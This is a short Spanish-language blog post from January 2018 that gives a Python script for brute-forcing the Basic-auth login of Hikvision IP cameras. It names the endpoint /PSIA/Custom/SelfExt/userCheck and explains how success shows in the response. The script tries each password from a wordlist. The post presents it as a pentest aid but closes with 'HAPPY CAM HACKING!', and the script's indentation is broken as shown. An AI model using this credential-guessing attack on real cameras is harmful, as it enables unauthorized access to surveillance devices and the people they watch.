lunes, 29 de enero de 2018

BruteForcing Hikvision Cams (A little script for your pentests)


Hola a todos. Hoy quiero dejarles un pequeño script (antes de publicar un post un poco mas largo y entretenido) que puede ayudar a la hora de realizar un pentest. Me parece interesante dado que no hay mucho material online (obviamente encontramos herramientas de fuerza bruta pero no una especifica para este tipo de cámaras). Además, no todos tenemos acceso a una de estas bellezas para poder conocer como responde ante un login existoso y así poder codear algo.

Es algo muy sencillo (son un par de líneas), pero como les decía, es necesario conocer a que URI hace el request del usuario, como la hace y como responde.


Una vez ingresadas nuestras credenciales, la aplicación realiza un GET a la URI

/PSIA/Custom/SelfExt/userCheck 

utilizando el método de autenticación Basic (el cual, como sabemos, encodea la información en Base64)



Si el login falla obtenemos el siguiente response:


En cambio, si es exitoso:


Teniendo esto en cuenta, podemos utilizar expresiones regulares, analizar el contenido de la respuesta y verificar su nuestras credenciales han servido.

Entonces, para resumir, lo que debemos hacer es el siguiente loop:

1. Hacer un GET a la URI /PSIA/Custom/SelfExt/userCheck
2. Agregar el header para authentication basic
3. Encodear en base64 las credenciales ingresadas (formato user:pass)
4. Analizar el contenido de la respuesta en busca del código 200 o el "OK"

Teniendo esto en cuenta, armamos nuestro script:


import requests
import re
from argparse import ArgumentParser
import base64


parser = ArgumentParser(description="Hikvision IP Cam brute forcer")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-u", "--user", dest="username",
                        help="User")
parser.add_argument("-p", "--pass", dest="password",
                        help="Password")

args = parser.parse_args()

user = args.username


f = open(args.password, 'r')
for line in f:

encoded = base64.b64encode(user+':'+str(line).replace('\n', ''))
print '[+]Trying with:',str(line)
headers = {'Authorization': 'Basic '+encoded} 
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/PSIA/Custom/SelfExt/userCheck', headers=headers)
   
matches = re.findall('200', s.text);

if len(matches) == 0: 
    print 'Shit'
else:
    print 'Success!'
    break

El script fué realizado sobre la versión DS-2CD2112-I (asumo que otras versiones lo manejan de la misma forma. Ya lo probaré y les cuento)

Saludos y...

HAPPY CAM HACKING!